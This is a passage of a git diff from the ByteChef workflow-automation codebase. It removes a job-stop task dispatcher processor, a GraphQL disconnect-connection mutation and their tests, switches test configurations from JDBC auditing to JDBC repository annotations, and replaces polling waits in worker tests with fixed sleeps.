@@ -1,59 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.atlas.coordinator.task.dispatcher;
-
-import com.bytechef.atlas.execution.domain.Job;
-import com.bytechef.atlas.execution.domain.TaskExecution;
-import com.bytechef.atlas.execution.service.JobService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-import org.apache.commons.lang3.Validate;
-import org.springframework.core.Ordered;
-import org.springframework.core.annotation.Order;
-import org.springframework.stereotype.Component;
-
-/**
- * @author Matija Petanjek
- */
-@Component
-@Order(Ordered.HIGHEST_PRECEDENCE)
-public class StopJobTaskDispatcherPreSendProcessor implements TaskDispatcherPreSendProcessor {
-
-    private final JobService jobService;
-
-    @SuppressFBWarnings("EI")
-    public StopJobTaskDispatcherPreSendProcessor(JobService jobService) {
-        this.jobService = jobService;
-    }
-
-    @Override
-    public TaskExecution process(TaskExecution taskExecution) {
-        Job job = jobService.getJob(Validate.notNull(taskExecution.getJobId(), "jobId"));
-
-        if (job.getStatus() == Job.Status.STOPPED) {
-            taskExecution.setEndDate(Instant.now());
-            taskExecution.setStatus(TaskExecution.Status.CANCELLED);
-        }
-
-        return taskExecution;
-    }
-
-    @Override
-    public boolean canProcess(TaskExecution taskExecution) {
-        return true;
-    }
-}
diff --git a/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/test/java/com/bytechef/atlas/coordinator/TaskCoordinatorIntTest.java b/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/test/java/com/bytechef/atlas/coordinator/TaskCoordinatorIntTest.java
index ef9d94b47a1..790acd3610e 100644
--- a/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/test/java/com/bytechef/atlas/coordinator/TaskCoordinatorIntTest.java
+++ b/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/test/java/com/bytechef/atlas/coordinator/TaskCoordinatorIntTest.java
@@ -76,7 +76,7 @@
 import org.springframework.core.env.Environment;
 import org.springframework.core.io.support.ResourcePatternResolver;
 import org.springframework.core.task.TaskExecutor;
-import org.springframework.data.jdbc.repository.config.EnableJdbcAuditing;
+import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
 import tools.jackson.databind.ObjectMapper;
 
 /**
@@ -183,7 +183,9 @@ WorkflowService workflowService(
                 new ConcurrentMapCacheManager(), workflowCrudRepositories, workflowRepositories);
         }
 
-        @EnableJdbcAuditing(auditorAwareRef = "auditorProvider", dateTimeProviderRef = "auditingDateTimeProvider")
+        @EnableJdbcRepositories(basePackages = {
+            "com.bytechef.atlas.configuration.repository.jdbc", "com.bytechef.atlas.execution.repository.jdbc"
+        })
         public static class CoordinatorIntTestJdbcConfiguration extends AbstractIntTestJdbcConfiguration {
 
             private final ObjectMapper objectMapper;
diff --git a/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/test/java/com/bytechef/atlas/coordinator/task/dispatcher/StopJobTaskDispatcherPreSendProcessorTest.java b/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/test/java/com/bytechef/atlas/coordinator/task/dispatcher/StopJobTaskDispatcherPreSendProcessorTest.java
deleted file mode 100644
index 762422f6d1e..00000000000
--- a/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/test/java/com/bytechef/atlas/coordinator/task/dispatcher/StopJobTaskDispatcherPreSendProcessorTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.atlas.coordinator.task.dispatcher;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.atlas.execution.domain.Job;
-import com.bytechef.atlas.execution.domain.TaskExecution;
-import com.bytechef.atlas.execution.service.JobService;
-import com.bytechef.commons.util.RandomUtils;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Matija Petanjek
- */
-public class StopJobTaskDispatcherPreSendProcessorTest {
-
-    private JobService jobService;
-    private StopJobTaskDispatcherPreSendProcessor processor;
-    private TaskExecution taskExecution;
-
-    @BeforeEach
-    void beforeEach() {
-        jobService = mock(JobService.class);
-
-        processor = new StopJobTaskDispatcherPreSendProcessor(jobService);
-
-        taskExecution = TaskExecution.builder()
-            .jobId(RandomUtils.nextLong())
-            .status(TaskExecution.Status.STARTED)
-            .build();
-    }
-
-    @Test
-    public void testProcessWithStartedJob() {
-        taskExecution = process(Job.Status.STARTED);
-
-        assertThat(taskExecution.getStatus()).isEqualTo(TaskExecution.Status.STARTED);
-    }
-
-    @Test
-    public void testProcessWithStoppedJob() {
-        taskExecution = process(Job.Status.STOPPED);
-
-        assertThat(taskExecution.getStatus()).isEqualTo(TaskExecution.Status.CANCELLED);
-        assertThat(taskExecution.getEndDate()).isNotNull();
-    }
-
-    private TaskExecution process(Job.Status status) {
-        Job job = new Job();
-        job.setStatus(status);
-
-        when(jobService.getJob(anyLong())).thenReturn(job);
-
-        return processor.process(taskExecution);
-    }
-}
diff --git a/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/build.gradle.kts b/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/build.gradle.kts
index 79df30d0df7..87a94ea7886 100644
--- a/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/build.gradle.kts
+++ b/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/build.gradle.kts
@@ -1,6 +1,5 @@
 dependencies {
     implementation("org.apache.commons:commons-lang3")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
     implementation("org.springframework.data:spring-data-jdbc")
     implementation("tools.jackson.core:jackson-databind")
     implementation(project(":server:libs:atlas:atlas-execution:atlas-execution-repository:atlas-execution-repository-api"))
diff --git a/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/src/main/java/com/bytechef/atlas/execution/repository/jdbc/config/AtlasExecutionJdbcRepositoryConfiguration.java b/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/src/main/java/com/bytechef/atlas/execution/repository/jdbc/config/AtlasExecutionJdbcRepositoryConfiguration.java
deleted file mode 100644
index badd4bdc675..00000000000
--- a/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/src/main/java/com/bytechef/atlas/execution/repository/jdbc/config/AtlasExecutionJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.atlas.execution.repository.jdbc.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.atlas.execution.repository.jdbc")
-class AtlasExecutionJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 92bcadb7c5d..00000000000
--- a/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.atlas.execution.repository.jdbc.config.AtlasExecutionJdbcRepositoryConfiguration
diff --git a/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/src/test/java/com/bytechef/atlas/execution/repository/jdbc/config/WorkflowExecutionRepositoryIntTestConfiguration.java b/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/src/test/java/com/bytechef/atlas/execution/repository/jdbc/config/WorkflowExecutionRepositoryIntTestConfiguration.java
index fd0c0de0619..0c083f6f506 100644
--- a/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/src/test/java/com/bytechef/atlas/execution/repository/jdbc/config/WorkflowExecutionRepositoryIntTestConfiguration.java
+++ b/server/libs/atlas/atlas-execution/atlas-execution-repository/atlas-execution-repository-jdbc/src/test/java/com/bytechef/atlas/execution/repository/jdbc/config/WorkflowExecutionRepositoryIntTestConfiguration.java
@@ -39,13 +39,16 @@
 import org.springframework.context.annotation.ComponentScan;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.Import;
-import org.springframework.data.jdbc.repository.config.EnableJdbcAuditing;
+import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
 import tools.jackson.databind.ObjectMapper;
 
 /**
  * @author Ivica Cardic
  */
-@ComponentScan(basePackages = "com.bytechef.atlas.configuration.converter")
+@ComponentScan(
+    basePackages = {
+        "com.bytechef.atlas.configuration.converter", "com.bytechef.atlas.execution.repository.jdbc"
+    })
 @EnableAutoConfiguration
 @Import({
     JacksonConfiguration.class, LiquibaseConfiguration.class
@@ -58,7 +61,7 @@ TaskFileStorage workflowFileStorage() {
         return new TaskFileStorageImpl(new Base64FileStorageService());
     }
 
-    @EnableJdbcAuditing(auditorAwareRef = "auditorProvider", dateTimeProviderRef = "auditingDateTimeProvider")
+    @EnableJdbcRepositories(basePackages = "com.bytechef.atlas.execution.repository.jdbc")
     public static class WorkflowExecutionIntJdbcTestConfiguration extends AbstractIntTestJdbcConfiguration {
 
         private final ObjectMapper objectMapper;
diff --git a/server/libs/atlas/atlas-execution/atlas-execution-service/src/main/java/com/bytechef/atlas/execution/service/JobServiceImpl.java b/server/libs/atlas/atlas-execution/atlas-execution-service/src/main/java/com/bytechef/atlas/execution/service/JobServiceImpl.java
index 5aa585fa6f8..360070c48bb 100644
--- a/server/libs/atlas/atlas-execution/atlas-execution-service/src/main/java/com/bytechef/atlas/execution/service/JobServiceImpl.java
+++ b/server/libs/atlas/atlas-execution/atlas-execution-service/src/main/java/com/bytechef/atlas/execution/service/JobServiceImpl.java
@@ -145,7 +145,6 @@ public Job setStatusToStopped(long id) {
         Assert.isTrue(
             job.getStatus() == Job.Status.STARTED, "Job id=" + id + " can not be stopped as it is " + job.getStatus());
 
-        job.setEndDate(Instant.now());
         job.setStatus(Job.Status.STOPPED);
 
         jobRepository.save(job);
diff --git a/server/libs/atlas/atlas-execution/atlas-execution-service/src/test/java/com/bytechef/atlas/execution/facade/JobFacadeIntTest.java b/server/libs/atlas/atlas-execution/atlas-execution-service/src/test/java/com/bytechef/atlas/execution/facade/JobFacadeIntTest.java
index f687cc4d627..1bdfad45808 100644
--- a/server/libs/atlas/atlas-execution/atlas-execution-service/src/test/java/com/bytechef/atlas/execution/facade/JobFacadeIntTest.java
+++ b/server/libs/atlas/atlas-execution/atlas-execution-service/src/test/java/com/bytechef/atlas/execution/facade/JobFacadeIntTest.java
@@ -39,7 +39,7 @@
 import org.springframework.context.annotation.ComponentScan;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.Import;
-import org.springframework.data.jdbc.repository.config.EnableJdbcAuditing;
+import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
 import org.springframework.test.context.bean.override.mockito.MockitoBean;
 
 /**
@@ -64,7 +64,10 @@ public void testRequiredParameters() {
             () -> jobFacade.createJob(new JobParametersDTO("aGVsbG8x", Collections.emptyMap())));
     }
 
-    @ComponentScan(basePackages = "com.bytechef.atlas.execution.facade")
+    @ComponentScan(
+        basePackages = {
+            "com.bytechef.atlas.execution.facade", "com.bytechef.atlas.execution.repository.jdbc"
+        })
     @EnableAutoConfiguration
     @Configuration
     public static class WorkflowExecutionIntTestConfiguration {
@@ -92,7 +95,7 @@ JobService jobService(JobRepository jobRepository) {
             return new JobServiceImpl(jobRepository);
         }
 
-        @EnableJdbcAuditing(auditorAwareRef = "auditorProvider", dateTimeProviderRef = "auditingDateTimeProvider")
+        @EnableJdbcRepositories(basePackages = "com.bytechef.atlas.execution.repository.jdbc")
         public static class WorkflowIntTestJdbcConfiguration extends AbstractIntTestJdbcConfiguration {
         }
     }
diff --git a/server/libs/atlas/atlas-worker/atlas-worker-impl/src/test/java/com/bytechef/atlas/worker/TaskWorkerTest.java b/server/libs/atlas/atlas-worker/atlas-worker-impl/src/test/java/com/bytechef/atlas/worker/TaskWorkerTest.java
index 26bfc260fa4..48e035dcd98 100644
--- a/server/libs/atlas/atlas-worker/atlas-worker-impl/src/test/java/com/bytechef/atlas/worker/TaskWorkerTest.java
+++ b/server/libs/atlas/atlas-worker/atlas-worker-impl/src/test/java/com/bytechef/atlas/worker/TaskWorkerTest.java
@@ -43,7 +43,6 @@
 import com.bytechef.message.broker.memory.SyncMessageBroker;
 import com.bytechef.message.event.MessageEvent;
 import com.bytechef.test.extension.ObjectMapperSetupExtension;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.io.File;
 import java.util.List;
 import java.util.Map;
@@ -61,11 +60,11 @@
  * @author Ivica Cardic
  */
 @ExtendWith(ObjectMapperSetupExtension.class)
-@SuppressFBWarnings("PATH_TRAVERSAL_IN")
 public class TaskWorkerTest {
 
     private static final Evaluator EVALUATOR = SpelEvaluator.create();
     private static final ExecutorService EXECUTOR_SERVICE = Executors.newCachedThreadPool();
+    private static final ExecutorService NEW_FIXED_THREAD_POOL = Executors.newFixedThreadPool(2);
     private static final ExecutorService NEW_SINGLE_THREAD_EXECUTOR = Executors.newSingleThreadExecutor();
 
     private final TaskFileStorage taskFileStorage = new TaskFileStorageImpl(new Base64FileStorageService());
@@ -336,7 +335,6 @@ public void test5() {
     @Test
     public void test6() throws InterruptedException {
         ExecutorService executorService = Executors.newSingleThreadExecutor();
-        ExecutorService singleThreadExecutor = Executors.newSingleThreadExecutor();
         SyncMessageBroker syncMessageBroker = new SyncMessageBroker();
 
         syncMessageBroker.receive(TaskCoordinatorMessageRoute.APPLICATION_EVENTS, e -> {});
@@ -344,7 +342,7 @@ public void test6() throws InterruptedException {
         TaskWorker worker = new TaskWorker(
             null, EVALUATOR,
             event -> syncMessageBroker.send(((MessageEvent<?>) event).getRoute(), event),
-            singleThreadExecutor::execute,
+            NEW_SINGLE_THREAD_EXECUTOR::execute,
             task -> taskExecution -> {
                 try {
                     TimeUnit.SECONDS.sleep(5);
@@ -365,8 +363,8 @@ public void test6() throws InterruptedException {
         // execute the task
         executorService.submit(() -> worker.onTaskExecutionEvent(new TaskExecutionEvent(taskExecution)));
 
-        // wait for task to be registered
-        waitForCondition(() -> MapUtils.size(worker.getTaskExecutions()) == 1, 5000);
+        // give it a second to start executing
+        TimeUnit.SECONDS.sleep(2);
 
         Assertions.assertEquals(1, MapUtils.size(worker.getTaskExecutions()));
 
@@ -375,17 +373,14 @@ public void test6() throws InterruptedException {
             new CancelControlTaskEvent(new CancelControlTask(
                 Validate.notNull(taskExecution.getJobId(), "jobId"), Validate.notNull(taskExecution.getId(), "id"))));
 
-        // wait for cancellation to complete
-        waitForCondition(() -> MapUtils.size(worker.getTaskExecutions()) == 0, 5000);
+        // give it a second to cancel
+        TimeUnit.SECONDS.sleep(2);
 
         Assertions.assertEquals(0, MapUtils.size(worker.getTaskExecutions()));
-
-        singleThreadExecutor.shutdownNow();
     }
 
     @Test
     public void test7() throws InterruptedException {
-        ExecutorService singleThreadExecutor = Executors.newSingleThreadExecutor();
         SyncMessageBroker syncMessageBroker = new SyncMessageBroker();
 
         syncMessageBroker.receive(TaskCoordinatorMessageRoute.APPLICATION_EVENTS, e -> {});
@@ -393,7 +388,7 @@ public void test7() throws InterruptedException {
         TaskWorker worker = new TaskWorker(
             null, EVALUATOR,
             event -> syncMessageBroker.send(((MessageEvent<?>) event).getRoute(), event),
-            singleThreadExecutor::execute,
+            NEW_SINGLE_THREAD_EXECUTOR::execute,
             task -> taskExecution -> {
                 try {
                     TimeUnit.SECONDS.sleep(5);
@@ -424,8 +419,8 @@ public void test7() throws InterruptedException {
         // execute the task
         EXECUTOR_SERVICE.submit(() -> worker.onTaskExecutionEvent(new TaskExecutionEvent(taskExecution2)));
 
-        // wait for both tasks to be registered
-        waitForCondition(() -> MapUtils.size(worker.getTaskExecutions()) == 2, 5000);
+        // give it a second to start executing
+        TimeUnit.SECONDS.sleep(2);
 
         Assertions.assertEquals(2, MapUtils.size(worker.getTaskExecutions()));
 
@@ -434,27 +429,14 @@ public void test7() throws InterruptedException {
             new CancelControlTaskEvent(new CancelControlTask(
                 Validate.notNull(taskExecution1.getJobId(), "jobId"), Validate.notNull(taskExecution1.getId(), "id"))));
 
-        // wait for cancellation to complete
-        waitForCondition(() -> MapUtils.size(worker.getTaskExecutions()) == 1, 5000);
+        // give it a second to cancel
+        TimeUnit.SECONDS.sleep(2);
 
         Assertions.assertEquals(1, MapUtils.size(worker.getTaskExecutions()));
-
-        singleThreadExecutor.shutdownNow();
-    }
-
-    private void waitForCondition(java.util.function.BooleanSupplier condition, long timeoutMs)
-        throws InterruptedException {
-
-        long deadline = System.currentTimeMillis() + timeoutMs;
-
-        while (!condition.getAsBoolean() && System.currentTimeMillis() < deadline) {
-            TimeUnit.MILLISECONDS.sleep(100);
-        }
     }
 
     @Test
     public void test8() throws InterruptedException {
-        ExecutorService fixedThreadPool = Executors.newFixedThreadPool(2);
         SyncMessageBroker syncMessageBroker = new SyncMessageBroker();
 
         syncMessageBroker.receive(TaskCoordinatorMessageRoute.APPLICATION_EVENTS, e -> {});
@@ -462,7 +444,7 @@ public void test8() throws InterruptedException {
         TaskWorker worker = new TaskWorker(
             null, EVALUATOR,
             event -> syncMessageBroker.send(((MessageEvent<?>) event).getRoute(), event),
-            fixedThreadPool::execute,
+            NEW_FIXED_THREAD_POOL::execute,
             task -> taskExecution -> {
                 try {
                     TimeUnit.SECONDS.sleep(5);
@@ -494,8 +476,8 @@ public void test8() throws InterruptedException {
         // execute the task
         EXECUTOR_SERVICE.submit(() -> worker.onTaskExecutionEvent(new TaskExecutionEvent(taskExecution2)));
 
-        // wait for both tasks to be registered
-        waitForCondition(() -> MapUtils.size(worker.getTaskExecutions()) == 2, 5000);
+        // give it a second to start executing
+        TimeUnit.SECONDS.sleep(2);
 
         Assertions.assertEquals(2, MapUtils.size(worker.getTaskExecutions()));
 
@@ -504,11 +486,9 @@ public void test8() throws InterruptedException {
             new CancelControlTaskEvent(new CancelControlTask(
                 Validate.notNull(taskExecution1.getJobId(), "jobId"), Validate.notNull(taskExecution1.getId(), "id"))));
 
-        // wait for cancellation to complete (both tasks share same jobId, so both should be cancelled)
-        waitForCondition(() -> MapUtils.size(worker.getTaskExecutions()) == 0, 5000);
+        // give it a second to cancel
+        TimeUnit.SECONDS.sleep(2);
 
         Assertions.assertEquals(0, MapUtils.size(worker.getTaskExecutions()));
-
-        fixedThreadPool.shutdownNow();
     }
 }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-api/src/main/java/com/bytechef/automation/configuration/facade/WorkspaceConnectionFacade.java b/server/libs/automation/automation-configuration/automation-configuration-api/src/main/java/com/bytechef/automation/configuration/facade/WorkspaceConnectionFacade.java
index 5a8f06a385e..f38cd54980a 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-api/src/main/java/com/bytechef/automation/configuration/facade/WorkspaceConnectionFacade.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-api/src/main/java/com/bytechef/automation/configuration/facade/WorkspaceConnectionFacade.java
@@ -28,8 +28,6 @@ public interface WorkspaceConnectionFacade {
 
     void delete(long connectionId);
 
-    void disconnectConnection(long connectionId);
-
     List<ConnectionDTO> getConnections(
         long workspaceId, String componentName, Integer connectionVersion, Long environmentId, Long tagId);
 }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-api/src/main/java/com/bytechef/automation/configuration/service/ProjectDeploymentWorkflowService.java b/server/libs/automation/automation-configuration/automation-configuration-api/src/main/java/com/bytechef/automation/configuration/service/ProjectDeploymentWorkflowService.java
index 9b315a269ab..4a340f8b884 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-api/src/main/java/com/bytechef/automation/configuration/service/ProjectDeploymentWorkflowService.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-api/src/main/java/com/bytechef/automation/configuration/service/ProjectDeploymentWorkflowService.java
@@ -33,8 +33,6 @@ public interface ProjectDeploymentWorkflowService {
 
     void delete(long id);
 
-    void deleteProjectDeploymentWorkflowConnection(long connectionId);
-
     @Transactional(readOnly = true)
     Optional<ProjectDeploymentWorkflow> fetchProjectDeploymentWorkflow(long projectDeploymentId, String workflowId);
 
diff --git a/server/libs/automation/automation-configuration/automation-configuration-api/src/main/java/com/bytechef/automation/configuration/service/ProjectWorkflowService.java b/server/libs/automation/automation-configuration/automation-configuration-api/src/main/java/com/bytechef/automation/configuration/service/ProjectWorkflowService.java
index 22b68787921..512f8a4ff8d 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-api/src/main/java/com/bytechef/automation/configuration/service/ProjectWorkflowService.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-api/src/main/java/com/bytechef/automation/configuration/service/ProjectWorkflowService.java
@@ -39,8 +39,6 @@ public interface ProjectWorkflowService {
 
     String getLastWorkflowId(String workflowUuid);
 
-    List<ProjectWorkflow> getLatestProjectWorkflows();
-
     List<Long> getProjectProjectWorkflowIds(long projectId, int projectVersion);
 
     ProjectWorkflow getProjectWorkflow(long id);
diff --git a/server/libs/automation/automation-configuration/automation-configuration-graphql/src/main/java/com/bytechef/automation/configuration/web/graphql/ConnectionGraphQlController.java b/server/libs/automation/automation-configuration/automation-configuration-graphql/src/main/java/com/bytechef/automation/configuration/web/graphql/ConnectionGraphQlController.java
deleted file mode 100644
index 7113489b9bf..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-graphql/src/main/java/com/bytechef/automation/configuration/web/graphql/ConnectionGraphQlController.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.configuration.web.graphql;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.automation.configuration.facade.WorkspaceConnectionFacade;
-import com.bytechef.platform.security.constant.AuthorityConstants;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.security.access.prepost.PreAuthorize;
-import org.springframework.stereotype.Controller;
-
-/**
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnCoordinator
-public class ConnectionGraphQlController {
-
-    private final WorkspaceConnectionFacade workspaceConnectionFacade;
-
-    @SuppressFBWarnings("EI")
-    public ConnectionGraphQlController(WorkspaceConnectionFacade workspaceConnectionFacade) {
-        this.workspaceConnectionFacade = workspaceConnectionFacade;
-    }
-
-    @MutationMapping(name = "disconnectConnection")
-    @PreAuthorize("hasAuthority(\"" + AuthorityConstants.ADMIN + "\")")
-    public Boolean disconnectConnection(@Argument long connectionId) {
-        workspaceConnectionFacade.disconnectConnection(connectionId);
-
-        return true;
-    }
-}
diff --git a/server/libs/automation/automation-configuration/automation-configuration-graphql/src/main/resources/graphql/connection.graphqls b/server/libs/automation/automation-configuration/automation-configuration-graphql/src/main/resources/graphql/connection.graphqls
deleted file mode 100644
index 967d0ace97c..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-graphql/src/main/resources/graphql/connection.graphqls
+++ /dev/null
@@ -1,3 +0,0 @@
-extend type Mutation {
-    disconnectConnection(connectionId: ID!): Boolean!
-}
diff --git a/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/java/com/bytechef/automation/configuration/web/graphql/ConnectionGraphQlControllerIntTest.java b/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/java/com/bytechef/automation/configuration/web/graphql/ConnectionGraphQlControllerIntTest.java
deleted file mode 100644
index f26a472f9ab..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/java/com/bytechef/automation/configuration/web/graphql/ConnectionGraphQlControllerIntTest.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.configuration.web.graphql;
-
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.Mockito.doNothing;
-import static org.mockito.Mockito.verify;
-
-import com.bytechef.automation.configuration.facade.WorkspaceConnectionFacade;
-import com.bytechef.automation.configuration.web.graphql.config.AutomationConfigurationGraphQlConfigurationSharedMocks;
-import com.bytechef.automation.configuration.web.graphql.config.AutomationConfigurationGraphQlTestConfiguration;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.graphql.test.autoconfigure.GraphQlTest;
-import org.springframework.graphql.test.tester.GraphQlTester;
-import org.springframework.test.context.ContextConfiguration;
-
-/**
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = {
-    AutomationConfigurationGraphQlTestConfiguration.class,
-    ConnectionGraphQlController.class
-})
-@GraphQlTest(
-    controllers = ConnectionGraphQlController.class,
-    properties = {
-        "bytechef.coordinator.enabled=true",
-        "spring.graphql.schema.locations=classpath*:/graphql/"
-    })
-@AutomationConfigurationGraphQlConfigurationSharedMocks
-public class ConnectionGraphQlControllerIntTest {
-
-    @Autowired
-    private GraphQlTester graphQlTester;
-
-    @Autowired
-    private WorkspaceConnectionFacade workspaceConnectionFacade;
-
-    @Test
-    void testDisconnectConnection() {
-        // Given
-        long connectionId = 123L;
-
-        doNothing().when(workspaceConnectionFacade)
-            .disconnectConnection(anyLong());
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    disconnectConnection(connectionId: 123)
-                }
-                """)
-            .execute()
-            .path("disconnectConnection")
-            .entity(Boolean.class)
-            .isEqualTo(true);
-
-        verify(workspaceConnectionFacade).disconnectConnection(connectionId);
-    }
-
-    @Test
-    void testDisconnectConnectionWithVariable() {
-        // Given
-        long connectionId = 456L;
-
-        doNothing().when(workspaceConnectionFacade)
-            .disconnectConnection(anyLong());
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation DisconnectConnection($connectionId: ID!) {
-                    disconnectConnection(connectionId: $connectionId)
-                }
-                """)
-            .variable("connectionId", connectionId)
-            .execute()
-            .path("disconnectConnection")
-            .entity(Boolean.class)
-            .isEqualTo(true);
-
-        verify(workspaceConnectionFacade).disconnectConnection(connectionId);
-    }
-}
diff --git a/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/java/com/bytechef/automation/configuration/web/graphql/config/AutomationConfigurationGraphQlConfigurationSharedMocks.java b/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/java/com/bytechef/automation/configuration/web/graphql/config/AutomationConfigurationGraphQlConfigurationSharedMocks.java
index 55b95cf6b9a..f43fc739129 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/java/com/bytechef/automation/configuration/web/graphql/config/AutomationConfigurationGraphQlConfigurationSharedMocks.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/java/com/bytechef/automation/configuration/web/graphql/config/AutomationConfigurationGraphQlConfigurationSharedMocks.java
@@ -19,7 +19,6 @@
